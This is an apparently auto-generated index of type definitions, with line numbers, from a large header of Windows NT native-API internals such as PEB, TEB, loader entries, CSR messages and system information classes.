  type X86_CONTEXT (line 3205) | typedef struct _X86_CONTEXT
  type PORT_VIEW (line 3279) | typedef struct _PORT_VIEW {
  type REMOTE_PORT_VIEW (line 3288) | typedef struct _REMOTE_PORT_VIEW {
  type IO_COMPLETION_INFORMATION_CLASS (line 3298) | typedef enum _IO_COMPLETION_INFORMATION_CLASS {
  type PORT_INFORMATION_CLASS (line 3302) | typedef enum _PORT_INFORMATION_CLASS {
  type SECTION_INHERIT (line 3306) | typedef enum _SECTION_INHERIT {
  type MEMORY_WORKING_SET_BLOCK (line 3312) | typedef struct _MEMORY_WORKING_SET_BLOCK
  type MEMORY_WORKING_SET_INFORMATION (line 3325) | typedef struct _MEMORY_WORKING_SET_INFORMATION
  type MEMORY_WORKING_SET_EX_BLOCK (line 3331) | typedef struct _MEMORY_WORKING_SET_EX_BLOCK
  type MEMORY_REGION_INFORMATION (line 3348) | typedef struct _MEMORY_REGION_INFORMATION
  type MEMORY_WORKING_SET_EX_INFORMATION (line 3356) | typedef struct _MEMORY_WORKING_SET_EX_INFORMATION
  type VOID (line 3366) | typedef
  type SHUTDOWN_ACTION (line 3374) | typedef enum _SHUTDOWN_ACTION {
  type ATOM_INFORMATION_CLASS (line 3380) | typedef enum _ATOM_INFORMATION_CLASS
  type ATOM_BASIC_INFORMATION (line 3386) | typedef struct _ATOM_BASIC_INFORMATION
  type ATOM_TABLE_INFORMATION (line 3394) | typedef struct _ATOM_TABLE_INFORMATION
  type SEMAPHORE_INFORMATION_CLASS (line 3405) | typedef enum _SEMAPHORE_INFORMATION_CLASS {
  type SEMAPHORE_BASIC_INFORMATION (line 3409) | typedef struct _SEMAPHORE_BASIC_INFORMATION {
  type MUTANT_INFORMATION_CLASS (line 3419) | typedef enum _MUTANT_INFORMATION_CLASS {
  type MUTANT_BASIC_INFORMATION (line 3423) | typedef struct _MUTANT_BASIC_INFORMATION {
  type TIMER_INFORMATION_CLASS (line 3434) | typedef enum _TIMER_INFORMATION_CLASS {
  type TIMER_BASIC_INFORMATION (line 3438) | typedef struct _TIMER_BASIC_INFORMATION {
  type SECTION_INFORMATION_CLASS (line 3443) | typedef enum _SECTION_INFORMATION_CLASS {
  type OBJECT_INFORMATION_CLASS (line 3463) | typedef enum _OBJECT_INFORMATION_CLASS {
  type OBJECT_BASIC_INFORMATION (line 3473) | typedef struct _OBJECT_BASIC_INFORMATION {
  type OBJECT_NAME_INFORMATION (line 3487) | typedef struct _OBJECT_NAME_INFORMATION {
  type OBJECT_TYPE_INFORMATION (line 3491) | typedef struct _OBJECT_TYPE_INFORMATION
  type OBJECT_TYPES_INFORMATION (line 3516) | typedef struct _OBJECT_TYPES_INFORMATION
  type OBJECT_HANDLE_FLAG_INFORMATION (line 3522) | typedef struct _OBJECT_HANDLE_FLAG_INFORMATION
  type PLUGPLAY_EVENT_CATEGORY (line 3528) | typedef enum _PLUGPLAY_EVENT_CATEGORY {
  type PNP_VETO_TYPE (line 3542) | typedef enum _PNP_VETO_TYPE {
  type PLUGPLAY_EVENT_BLOCK (line 3558) | typedef struct _PLUGPLAY_EVENT_BLOCK {
  type LARGE_INTEGER (line 3615) | typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
  type TIME_FIELDS (line 3626) | typedef struct _TIME_FIELDS {
  type TIME_FIELDS (line 3636) | typedef TIME_FIELDS *PTIME_FIELDS;
  type RTL_TIME_ZONE_INFORMATION (line 3638) | typedef struct _RTL_TIME_ZONE_INFORMATION {
  type RTL_BITMAP_RUN (line 3648) | typedef struct _RTL_BITMAP_RUN {
  type RTL_BITMAP_RUN (line 3652) | typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN;
  type PARSE_MESSAGE_CONTEXT (line 3654) | typedef struct _PARSE_MESSAGE_CONTEXT {
  type RTL_RXACT_OPERATION (line 3663) | typedef enum _RTL_RXACT_OPERATION {
  type RTL_RXACT_LOG (line 3670) | typedef struct _RTL_RXACT_LOG {
  type RTL_RXACT_CONTEXT (line 3679) | typedef struct _RTL_RXACT_CONTEXT {
  type CPTABLEINFO (line 3688) | typedef struct _CPTABLEINFO {
  type NLSTABLEINFO (line 3703) | typedef struct _NLSTABLEINFO {
  type RTL_RANGE (line 3713) | typedef struct _RTL_RANGE {
  type BOOLEAN (line 3722) | typedef
  type EVENT_INFORMATION_CLASS (line 3729) | typedef enum _EVENT_INFORMATION_CLASS {
  type PLUGPLAY_CONTROL_CLASS (line 3734) | typedef enum _PLUGPLAY_CONTROL_CLASS {
  type VOID (line 3761) | typedef
  type KEY_INFORMATION_CLASS (line 3769) | typedef enum _KEY_INFORMATION_CLASS {
  type KEY_BASIC_INFORMATION (line 3779) | typedef struct _KEY_BASIC_INFORMATION {
  type KEY_VALUE_INFORMATION_CLASS (line 3786) | typedef enum _KEY_VALUE_INFORMATION_CLASS {
  type KEY_VALUE_BASIC_INFORMATION (line 3799) | typedef struct _KEY_VALUE_BASIC_INFORMATION {
  type KEY_VALUE_FULL_INFORMATION (line 3806) | typedef struct _KEY_VALUE_FULL_INFORMATION {
  type KEY_VALUE_PARTIAL_INFORMATION (line 3816) | typedef struct _KEY_VALUE_PARTIAL_INFORMATION {
  type KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 (line 3823) | typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 {
  type KEY_VALUE_ENTRY (line 3829) | typedef struct _KEY_VALUE_ENTRY {
  type KEY_SET_INFORMATION_CLASS (line 3840) | typedef enum _KEY_SET_INFORMATION_CLASS {
  type CLIENT_ID (line 3920) | typedef struct _CLIENT_ID
  type CLIENT_ID32 (line 3926) | typedef struct _CLIENT_ID32
  type CLIENT_ID64 (line 3932) | typedef struct _CLIENT_ID64
  type KSYSTEM_TIME (line 3940) | typedef struct _KSYSTEM_TIME
  type FILE_BASIC_INFORMATION (line 3954) | typedef struct _FILE_BASIC_INFORMATION {                    // ntddk wdm...
  type FILE_STANDARD_INFORMATION (line 3962) | typedef struct _FILE_STANDARD_INFORMATION
  type FILE_INTERNAL_INFORMATION (line 3971) | typedef struct _FILE_INTERNAL_INFORMATION {
  type FILE_EA_INFORMATION (line 3975) | typedef struct _FILE_EA_INFORMATION {
  type FILE_ACCESS_INFORMATION (line 3979) | typedef struct _FILE_ACCESS_INFORMATION {
  type FILE_POSITION_INFORMATION (line 3983) | typedef struct _FILE_POSITION_INFORMATION {                 // ntddk wdm...
  type FILE_MODE_INFORMATION (line 3987) | typedef struct _FILE_MODE_INFORMATION {
  type FILE_ALIGNMENT_INFORMATION (line 3991) | typedef struct _FILE_ALIGNMENT_INFORMATION {                // ntddk nthal
  type FILE_NAME_INFORMATION (line 3995) | typedef struct _FILE_NAME_INFORMATION {                     // ntddk
  type FILE_ALL_INFORMATION (line 4000) | typedef struct _FILE_ALL_INFORMATION {
  type FILE_NETWORK_OPEN_INFORMATION (line 4012) | typedef struct _FILE_NETWORK_OPEN_INFORMATION {                 // ntddk...
  type FILE_ATTRIBUTE_TAG_INFORMATION (line 4022) | typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {               // ntddk ...
  type FILE_ALLOCATION_INFORMATION (line 4027) | typedef struct _FILE_ALLOCATION_INFORMATION {
  type FILE_COMPRESSION_INFORMATION (line 4031) | typedef struct _FILE_COMPRESSION_INFORMATION {
  type FILE_DISPOSITION_INFORMATION (line 4040) | typedef struct _FILE_DISPOSITION_INFORMATION {                  // ntddk...
  type FILE_END_OF_FILE_INFORMATION (line 4044) | typedef struct _FILE_END_OF_FILE_INFORMATION {                  // ntddk...
  type FILE_VALID_DATA_LENGTH_INFORMATION (line 4048) | typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {                    ...
  type FILE_LINK_INFORMATION (line 4052) | typedef struct _FILE_LINK_INFORMATION {
  type FILE_MOVE_CLUSTER_INFORMATION (line 4059) | typedef struct _FILE_MOVE_CLUSTER_INFORMATION {
  type FILE_RENAME_INFORMATION (line 4066) | typedef struct _FILE_RENAME_INFORMATION {
  type FILE_STREAM_INFORMATION (line 4073) | typedef struct _FILE_STREAM_INFORMATION {
  type FILE_TRACKING_INFORMATION (line 4081) | typedef struct _FILE_TRACKING_INFORMATION {
  type FILE_COMPLETION_INFORMATION (line 4087) | typedef struct _FILE_COMPLETION_INFORMATION {
  type FILE_PIPE_INFORMATION (line 4092) | typedef struct _FILE_PIPE_INFORMATION {
  type FILE_PIPE_LOCAL_INFORMATION (line 4097) | typedef struct _FILE_PIPE_LOCAL_INFORMATION {
  type FILE_PIPE_REMOTE_INFORMATION (line 4110) | typedef struct _FILE_PIPE_REMOTE_INFORMATION {
  type FILE_MAILSLOT_QUERY_INFORMATION (line 4115) | typedef struct _FILE_MAILSLOT_QUERY_INFORMATION {
  type FILE_MAILSLOT_SET_INFORMATION (line 4123) | typedef struct _FILE_MAILSLOT_SET_INFORMATION {
  type FILE_REPARSE_POINT_INFORMATION (line 4127) | typedef struct _FILE_REPARSE_POINT_INFORMATION {
  type FILE_FULL_EA_INFORMATION (line 4140) | typedef struct _FILE_FULL_EA_INFORMATION {
  type FILE_GET_EA_INFORMATION (line 4150) | typedef struct _FILE_GET_EA_INFORMATION {
  type FILE_GET_QUOTA_INFORMATION (line 4160) | typedef struct _FILE_GET_QUOTA_INFORMATION {
  type FILE_QUOTA_INFORMATION (line 4166) | typedef struct _FILE_QUOTA_INFORMATION {
  type FILE_DIRECTORY_INFORMATION (line 4188) | typedef struct _FILE_DIRECTORY_INFORMATION {
  type FILE_FULL_DIR_INFORMATION (line 4202) | typedef struct _FILE_FULL_DIR_INFORMATION {
  type FILE_ID_FULL_DIR_INFORMATION (line 4217) | typedef struct _FILE_ID_FULL_DIR_INFORMATION {
  type FILE_BOTH_DIR_INFORMATION (line 4233) | typedef struct _FILE_BOTH_DIR_INFORMATION {
  type FILE_ID_BOTH_DIR_INFORMATION (line 4250) | typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
  type FILE_NAMES_INFORMATION (line 4268) | typedef struct _FILE_NAMES_INFORMATION {
  type FILE_OBJECTID_INFORMATION (line 4275) | typedef struct _FILE_OBJECTID_INFORMATION {
  type SYSTEM_GDI_DRIVER_INFORMATION (line 4293) | typedef struct _SYSTEM_GDI_DRIVER_INFORMATION
  type SYSTEM_EXCEPTION_INFORMATION (line 4303) | typedef struct _SYSTEM_EXCEPTION_INFORMATION
  type THREAD_STATE (line 4315) | typedef enum _THREAD_STATE
  type KWAIT_REASON (line 4327) | typedef enum _KWAIT_REASON {
  type SYSTEM_THREAD_INFORMATION (line 4369) | typedef struct _SYSTEM_THREAD_INFORMATION {
  type SYSTEM_EXTENDED_THREAD_INFORMATION (line 4383) | typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION {
  type SYSTEM_POOL_ENTRY (line 4394) | typedef struct _SYSTEM_POOL_ENTRY {
  type SYSTEM_POOL_INFORMATION (line 4406) | typedef struct _SYSTEM_POOL_INFORMATION {
  type SYSTEM_POOLTAG (line 4416) | typedef struct _SYSTEM_POOLTAG {
  type SYSTEM_BIGPOOL_ENTRY (line 4429) | typedef struct _SYSTEM_BIGPOOL_ENTRY {
  type SYSTEM_POOLTAG_INFORMATION (line 4441) | typedef struct _SYSTEM_POOLTAG_INFORMATION
  type SYSTEM_SESSION_POOLTAG_INFORMATION (line 4447) | typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION {
  type SYSTEM_BIGPOOL_INFORMATION (line 4454) | typedef struct _SYSTEM_BIGPOOL_INFORMATION {
  type SYSTEM_HANDLE_TABLE_ENTRY_INFO (line 4459) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
  type SYSTEM_HANDLE_INFORMATION (line 4470) | typedef struct _SYSTEM_HANDLE_INFORMATION
  type SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX (line 4476) | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
  type SYSTEM_HANDLE_INFORMATION_EX (line 4488) | typedef struct _SYSTEM_HANDLE_INFORMATION_EX
  type SYSTEM_SPECIAL_POOL_INFORMATION (line 4495) | typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION
  type SYSTEM_OBJECTTYPE_INFORMATION (line 4501) | typedef struct _SYSTEM_OBJECTTYPE_INFORMATION
  type SYSTEM_HIBERFILE_INFORMATION (line 4516) | typedef struct _SYSTEM_HIBERFILE_INFORMATION
  type SYSTEM_KERNEL_DEBUGGER_INFORMATION (line 4522) | typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {
  type SYSTEM_REGISTRY_QUOTA_INFORMATION (line 4527) | typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION {
  type SYSTEM_CONTEXT_SWITCH_INFORMATION (line 4533) | typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION {
  type SYSTEM_SESSION_MAPPED_VIEW_INFORMATION (line 4548) | typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION {
  type SYSTEM_INTERRUPT_INFORMATION (line 4556) | typedef struct _SYSTEM_INTERRUPT_INFORMATION {
  type SYSTEM_DPC_BEHAVIOR_INFORMATION (line 4565) | typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION {
  type SYSTEM_LOOKASIDE_INFORMATION (line 4573) | typedef struct _SYSTEM_LOOKASIDE_INFORMATION {
  type SYSTEM_LEGACY_DRIVER_INFORMATION (line 4585) | typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION {
  type SYSTEM_VDM_INSTEMUL_INFO (line 4590) | typedef struct _SYSTEM_VDM_INSTEMUL_INFO
  type SYSTEM_TIMEOFDAY_INFORMATION (line 4628) | typedef struct _SYSTEM_TIMEOFDAY_INFORMATION
  type ULONG (line 4640) | typedef ULONG SYSINF_PAGE_COUNT;
  type SIZE_T (line 4642) | typedef SIZE_T SYSINF_PAGE_COUNT;
  type SYSTEM_BASIC_INFORMATION (line 4645) | typedef struct _SYSTEM_BASIC_INFORMATION {
  type SYSTEM_PROCESSOR_INFORMATION (line 4659) | typedef struct _SYSTEM_PROCESSOR_INFORMATION {
  type SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (line 4667) | typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION {
  type SYSTEM_PROCESSOR_IDLE_INFORMATION (line 4676) | typedef struct _SYSTEM_PROCESSOR_IDLE_INFORMATION {
  type SYSTEM_NUMA_INFORMATION (line 4687) | typedef struct _SYSTEM_NUMA_INFORMATION {
  type LOGICAL_PROCESSOR_RELATIONSHIP (line 4698) | typedef enum _LOGICAL_PROCESSOR_RELATIONSHIP
  type PROCESSOR_CACHE_TYPE (line 4706) | typedef enum _PROCESSOR_CACHE_TYPE
  type CACHE_DESCRIPTOR (line 4716) | typedef struct _CACHE_DESCRIPTOR
  type SYSTEM_LOGICAL_PROCESSOR_INFORMATION (line 4725) | typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION {
  type MEMORY_BASIC_INFORMATION (line 4796) | typedef struct _MEMORY_BASIC_INFORMATION
  type SYSTEM_PROCESSOR_POWER_INFORMATION (line 4809) | typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION {
  type SYSTEM_QUERY_TIME_ADJUST_INFORMATION (line 4831) | typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION {
  type SYSTEM_SET_TIME_ADJUST_INFORMATION (line 4837) | typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION {
  type SYSTEM_PERFORMANCE_INFORMATION (line 4842) | typedef struct _SYSTEM_PERFORMANCE_INFORMATION {
  type SYSTEM_PROCESS_INFORMATION (line 4919) | typedef struct _SYSTEM_PROCESS_INFORMATION {
  type SYSTEM_SESSION_PROCESS_INFORMATION (line 4955) | typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION {
  type SYSTEM_MEMORY_INFO (line 4961) | typedef struct _SYSTEM_MEMORY_INFO {
  type SYSTEM_MEMORY_INFORMATION (line 4969) | typedef struct _SYSTEM_MEMORY_INFORMATION {
  type SYSTEM_CALL_COUNT_INFORMATION (line 4975) | typedef struct _SYSTEM_CALL_COUNT_INFORMATION {
  type SYSTEM_DEVICE_INFORMATION (line 4980) | typedef struct _SYSTEM_DEVICE_INFORMATION {
  type SYSTEM_FLAGS_INFORMATION (line 4989) | typedef struct _SYSTEM_FLAGS_INFORMATION {
  type SYSTEM_CALL_TIME_INFORMATION (line 4993) | typedef struct _SYSTEM_CALL_TIME_INFORMATION {
  type SYSTEM_OBJECT_INFORMATION (line 4999) | typedef struct _SYSTEM_OBJECT_INFORMATION {
  type SYSTEM_PAGEFILE_INFORMATION (line 5014) | typedef struct _SYSTEM_PAGEFILE_INFORMATION {
  type SYSTEM_VERIFIER_INFORMATION (line 5022) | typedef struct _SYSTEM_VERIFIER_INFORMATION {
  type SYSTEM_VERIFIER_INFORMATION_EX (line 5057) | typedef struct _SYSTEM_VERIFIER_INFORMATION_EX
  type SYSTEM_FILECACHE_INFORMATION (line 5070) | typedef struct _SYSTEM_FILECACHE_INFORMATION {
  type HOTPATCH_HOOK_DESCRIPTOR (line 5094) | typedef struct _HOTPATCH_HOOK_DESCRIPTOR
  type SYSTEM_HOTPATCH_CODE_INFORMATION (line 5105) | typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION {
  type KERNEL_USER_TIMES (line 5154) | typedef struct _KERNEL_USER_TIMES {
  type KERNEL_USER_TIMES (line 5160) | typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES;
  type WATCHDOG_HANDLER_ACTION (line 5162) | typedef enum _WATCHDOG_HANDLER_ACTION
  type WATCHDOG_INFORMATION_CLASS (line 5176) | typedef enum _WATCHDOG_INFORMATION_CLASS {
  type NTSTATUS (line 5185) | typedef
  type SYSTEM_WATCHDOG_HANDLER_INFORMATION (line 5194) | typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION {
  type SYSTEM_WATCHDOG_TIMER_INFORMATION (line 5204) | typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION {
  type GDI_HANDLE_ENTRY (line 5298) | typedef struct _GDI_HANDLE_ENTRY
  type GDI_SHARED_MEMORY (line 5321) | typedef struct _GDI_SHARED_MEMORY
  type CURDIR (line 5333) | typedef struct _CURDIR
  type RTL_DRIVE_LETTER_CURDIR (line 5342) | typedef struct _RTL_DRIVE_LETTER_CURDIR
  type RTL_USER_PROCESS_PARAMETERS (line 5353) | typedef struct _RTL_USER_PROCESS_PARAMETERS
  type WOW64_SHARED_INFORMATION (line 5398) | typedef enum _WOW64_SHARED_INFORMATION
  type LIST_ENTRY32 (line 5422) | typedef struct LIST_ENTRY32 {
  type LIST_ENTRY32 (line 5426) | typedef LIST_ENTRY32 *PLIST_ENTRY32;
  type LIST_ENTRY64 (line 5428) | typedef struct LIST_ENTRY64 {
  type LIST_ENTRY64 (line 5432) | typedef LIST_ENTRY64 *PLIST_ENTRY64;
  type PEB_LDR_DATA32 (line 5437) | typedef struct _PEB_LDR_DATA32
  type LDR_DATA_TABLE_ENTRY32 (line 5452) | typedef struct _LDR_DATA_TABLE_ENTRY32
  type CURDIR32 (line 5489) | typedef struct _CURDIR32
  type RTL_DRIVE_LETTER_CURDIR32 (line 5495) | typedef struct _RTL_DRIVE_LETTER_CURDIR32
  type RTL_USER_PROCESS_PARAMETERS32 (line 5503) | typedef struct _RTL_USER_PROCESS_PARAMETERS32
  type PEB32 (line 5543) | typedef struct _PEB32
  type GDI_TEB_BATCH32 (line 5644) | typedef struct _GDI_TEB_BATCH32
  type NT_TIB32 (line 5655) | typedef struct _NT_TIB32 {
  type NT_TIB64 (line 5668) | typedef struct _NT_TIB64 {
  type TEB32 (line 5682) | typedef struct _TEB32
  type VOID (line 5732) | typedef
  type TIB (line 5738) | typedef struct _TIB
  type TIB (line 5754) | typedef TIB *PTIB;
  type NLS_USER_INFO (line 5760) | typedef struct _NLS_USER_INFO
  type INIFILE_MAPPING_TARGET (line 5802) | typedef struct _INIFILE_MAPPING_TARGET
  type INIFILE_MAPPING_VARNAME (line 5808) | typedef struct _INIFILE_MAPPING_VARNAME
  type INIFILE_MAPPING_APPNAME (line 5816) | typedef struct _INIFILE_MAPPING_APPNAME
  type INIFILE_MAPPING_FILENAME (line 5824) | typedef struct _INIFILE_MAPPING_FILENAME
  type INIFILE_MAPPING (line 5832) | typedef struct _INIFILE_MAPPING
  type PORT_MESSAGE (line 5844) | typedef struct _PORT_MESSAGE
  type PORT_DATA_ENTRY (line 5882) | typedef struct _PORT_DATA_ENTRY {
  type PORT_DATA_INFORMATION (line 5887) | typedef struct _PORT_DATA_INFORMATION {
  type ULONG (line 5896) | typedef ULONG CSR_API_NUMBER;
  type CSR_API_CONNECTINFO (line 5906) | typedef struct _CSR_API_CONNECTINFO {
  type CSR_CLIENTCONNECT_MSG (line 5922) | typedef struct _CSR_CLIENTCONNECT_MSG
  type CSR_CAPTURE_HEADER (line 5934) | typedef struct _CSR_CAPTURE_HEADER {
  type CSR_NT_SESSION (line 5965) | typedef struct _CSR_NT_SESSION
  type CSR_API_MSG (line 5973) | typedef struct _CSR_API_MSG
  type ULONG (line 5994) | typedef
  type CSR_CALLBACK_INFO (line 5999) | typedef struct _CSR_CALLBACK_INFO
  type RTL_DYNAMIC_TIME_ZONE_INFORMATION (line 6013) | typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION {
  type BASESRV_API_CONNECTINFO (line 6023) | typedef struct _BASESRV_API_CONNECTINFO
  type BASESRV_API_NUMBER (line 6034) | typedef enum _BASESRV_API_NUMBER {
  type BASE_NLS_SET_USER_INFO_MSG (line 6068) | typedef struct _BASE_NLS_SET_USER_INFO_MSG
  type BASE_NLS_GET_USER_INFO_MSG (line 6075) | typedef struct _BASE_NLS_GET_USER_INFO_MSG
  type BASE_NLS_UPDATE_CACHE_COUNT_MSG (line 6081) | typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG
  type BASE_UPDATE_VDM_ENTRY_MSG (line 6086) | typedef struct _BASE_UPDATE_VDM_ENTRY_MSG
  type BASE_GET_NEXT_VDM_COMMAND_MSG (line 6097) | typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG
  type BASE_SHUTDOWNPARAM_MSG (line 6130) | typedef struct _BASE_SHUTDOWNPARAM_MSG
  type BASE_GETTEMPFILE_MSG (line 6136) | typedef struct _BASE_GETTEMPFILE_MSG
  type BASE_DEBUGPROCESS_MSG (line 6141) | typedef struct _BASE_DEBUGPROCESS_MSG
  type BASE_CHECKVDM_MSG (line 6148) | typedef struct _BASE_CHECKVDM_MSG
  type BASE_GET_VDM_EXIT_CODE_MSG (line 6181) | typedef struct _BASE_GET_VDM_EXIT_CODE_MSG
  type BASE_DEFERREDCREATEPROCESS_MSG (line 6188) | typedef struct _BASE_DEFERREDCREATEPROCESS_MSG
  type BASE_EXITPROCESS_MSG (line 6194) | typedef struct _BASE_EXITPROCESS_MSG {
  type BASE_GET_SET_VDM_CUR_DIRS_MSG (line 6198) | typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG
  type BASE_SET_REENTER_COUNT (line 6205) | typedef struct _BASE_SET_REENTER_COUNT
  type ACTCTX_REQUESTED_RUN_LEVEL (line 6212) | typedef enum
  type ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION (line 6221) | typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION {
  type _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION (line 6227) | struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION
  type BASE_SXS_CREATEPROCESS_MSG (line 6232) | typedef struct _BASE_SXS_CREATEPROCESS_MSG
  type BASE_CREATEPROCESS_MSG (line 6245) | typedef struct _BASE_CREATEPROCESS_MSG
  type BASE_CREATETHREAD_MSG (line 6261) | typedef struct _BASE_CREATETHREAD_MSG
  type BASE_MSG_SXS_HANDLES (line 6268) | typedef struct _BASE_MSG_SXS_HANDLES
  type BASE_EXIT_VDM_MSG (line 6277) | typedef struct _BASE_EXIT_VDM_MSG
  type BASE_IS_FIRST_VDM_MSG (line 6285) | typedef struct _BASE_IS_FIRST_VDM_MSG
  type BASE_SET_REENTER_COUNT_MSG (line 6291) | typedef struct _BASE_SET_REENTER_COUNT_MSG
  type BASE_BAT_NOTIFICATION_MSG (line 6298) | typedef struct _BASE_BAT_NOTIFICATION_MSG
  type BASE_REGISTER_WOWEXEC_MSG (line 6305) | typedef struct _BASE_REGISTER_WOWEXEC_MSG
  type BASE_REFRESHINIFILEMAPPING_MSG (line 6312) | typedef struct _BASE_REFRESHINIFILEMAPPING_MSG
  type BASE_SET_TERMSRVCLIENTTIMEZONE (line 6318) | typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE
  type BASE_SET_TERMSRVAPPINSTALLMODE (line 6326) | typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE
  type BASE_SOUNDSENTRY_NOTIFICATION_MSG (line 6332) | typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG
  type BASE_DEFINEDOSDEVICE_MSG (line 6338) | typedef struct _BASE_DEFINEDOSDEVICE_MSG
  type BASE_MSG_SXS_STREAM (line 6345) | typedef struct _BASE_MSG_SXS_STREAM
  type BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG (line 6358) | typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG
  type BASE_API_MSG (line 6376) | typedef struct _BASE_API_MSG
  type BASE_STATIC_SERVER_DATA (line 6414) | typedef struct _BASE_STATIC_SERVER_DATA
  type GDI_TEB_BATCH (line 6442) | typedef struct _GDI_TEB_BATCH {
  type EVENT_TYPE (line 6449) | typedef enum _EVENT_TYPE {
  type TIMER_TYPE (line 6454) | typedef enum _TIMER_TYPE {
  type WAIT_TYPE (line 6459) | typedef enum _WAIT_TYPE {
  type PVOID (line 6469) | typedef PVOID* PPVOID;
  type ASSEMBLY_STORAGE_MAP_ENTRY (line 6473) | typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY {
  type ASSEMBLY_STORAGE_MAP (line 6480) | typedef struct _ASSEMBLY_STORAGE_MAP {
  type ACTIVATION_CONTEXT_DATA (line 6487) | typedef struct _ACTIVATION_CONTEXT_DATA {
  type ACTIVATION_CONTEXT (line 6498) | typedef struct _ACTIVATION_CONTEXT {
  type PEB_FREE_BLOCK (line 6515) | typedef struct _PEB_FREE_BLOCK {
  type PEB_LDR_DATA (line 6520) | typedef struct _PEB_LDR_DATA
  type INITIAL_TEB (line 6533) | typedef struct _INITIAL_TEB
  type WOW64_PROCESS (line 6547) | typedef struct _WOW64_PROCESS
  type LDR_DLL_LOADED_NOTIFICATION_DATA (line 6598) | typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA
  type LDR_DLL_UNLOADED_NOTIFICATION_DATA (line 6607) | typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA
  type LDR_DLL_NOTIFICATION_DATA (line 6616) | typedef union _LDR_DLL_NOTIFICATION_DATA
  type RTL_PROCESS_MODULE_INFORMATION (line 6628) | typedef struct _RTL_PROCESS_MODULE_INFORMATION
  type RTL_PROCESS_MODULES (line 6642) | typedef struct _RTL_PROCESS_MODULES
  type RTL_PROCESS_MODULE_INFORMATION_EX (line 6648) | typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX
  function LIST_ENTRY (line 6662) | struct LIST_ENTRY_EX : public LIST_ENTRY
  type LDR_DATA_TABLE_ENTRY (line 6671) | typedef struct _LDR_DATA_TABLE_ENTRY
  type _LDR_DATA_TABLE_ENTRY (line 6708) | struct _LDR_DATA_TABLE_ENTRY
  type NTSTATUS (line 6710) | typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE;
  type _FLS_CALLBACK_INFO (line 6712) | struct _FLS_CALLBACK_INFO
  type RTL_RELATIVE_NAME (line 6726) | typedef struct _RTL_RELATIVE_NAME
  type _RTLP_CURDIR_REF (line 6732) | struct _RTLP_CURDIR_REF
  type RTL_RELATIVE_NAME_U (line 6734) | typedef struct _RTL_RELATIVE_NAME_U
  type RTL_PATH_TYPE (line 6741) | typedef enum _RTL_PATH_TYPE
  type PEB (line 6757) | typedef struct _PEB
  type RTL_ACTIVATION_CONTEXT_STACK_FRAME (line 6895) | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME
  type ACTIVATION_CONTEXT_STACK (line 6903) | typedef struct _ACTIVATION_CONTEXT_STACK
  type ACTIVATION_CONTEXT_STACK (line 6912) | typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK;
  type TEB_ACTIVE_FRAME_CONTEXT (line 6916) | typedef struct _TEB_ACTIVE_FRAME_CONTEXT
  type TEB_ACTIVE_FRAME_CONTEXT (line 6922) | typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT;
  type TEB_ACTIVE_FRAME_CONTEXT_EX (line 6924) | typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX
  type TEB_ACTIVE_FRAME_CONTEXT_EX (line 6930) | typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX;
  type TEB_ACTIVE_FRAME (line 6935) | typedef struct _TEB_ACTIVE_FRAME
  type TEB_ACTIVE_FRAME (line 6942) | typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME;
  type TEB_ACTIVE_FRAME_EX (line 6944) | typedef struct _TEB_ACTIVE_FRAME_EX
  type TEB_ACTIVE_FRAME_EX (line 6950) | typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX;
  type TEB (line 6953) | typedef struct _TEB
  type _PEB (line 7104) | struct _PEB
